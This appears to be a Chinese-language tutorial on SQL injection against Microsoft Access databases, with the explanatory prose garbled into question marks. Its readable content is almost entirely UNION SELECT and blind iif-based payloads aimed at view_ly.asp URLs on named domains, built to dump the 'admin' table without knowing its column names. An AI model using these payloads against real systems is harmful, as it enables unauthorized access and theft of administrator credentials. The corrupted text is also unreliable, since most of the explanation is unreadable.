????????????? Access??λ??????????????????????????? ??????????????????????????????????????μ??????????????????????????????
??????????????????￡??????????????????????????????????????????
????http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1??2??3??4??5??6??7 from admin
?????????????7????Σ?????2??3??5??6?????λ

????http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1??2??3??4??5??6??7 from(select * from admin order by 8)
???????order by ?2?admin????????????8??????????????????ε????
????select 1 as field_1??2 as field_2??3 as field_3??4 as field_4??5 as field_5??6 as field_6??7 as field_7??8 as field_8fromadminwhere 1=2  unionselect * fromadmin
??????????????????????в??????????????????????
????http://lnhqy.com/admin/view_ly.asp?lyid=5 union select 1??field_1??field_2??4??field_3??6??7 from(select 1 as field_1??2 as field_2??3 as field_3??4 as field_4??5 as field_5??6 as field_6??7 as field_7??8 as field_8 from admin where 1=2  union select * from admin)

?????????????admin????????
????????????access???????????????????access????????б?????????????????????Expr1000??Expr1001…..??
????http://www.am0s.com/admin/view_ly.asp?lyid=5 union select 1 as x??2 as xx??Expr1001??4 as xxxx??Expr1002??6 as xxxxxx?? 7 as xxxxxxx from(select 1??2??3??4??5??6??7??8 from admin where 1=2 union select * from admin )

??????????????????????????????????
????union select 1??2??3??field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
????from(
????select * from (
????select 1 as field_1??2 as field_2??3 as field_3??4 as field_4??5 as field_5
????from admin
????where 1=2
????union select * from admin)
????where field_1 not in (1)
????)
??????????????????(??????????)??
????select title??time??author??content from article where id=999999999 or
????(
????select top 1 len(field_1) from(
????select 1 as field_1??2??3??4??5 from admin
????where 1=2
????union select * from admin)
????)>0
?????????????(???????δ?????????ζ??????????500/200???????)??
????select title??time??author??content from article where id=999999999 or
????iif(
????(select top 1 len(field_1) from(
????select 1 as field_1??2??3??4??5 from admin
????where 1=2 union select * from admin)
????)>0??
????1??
????(select 2 from multi_rows_table)
????)=1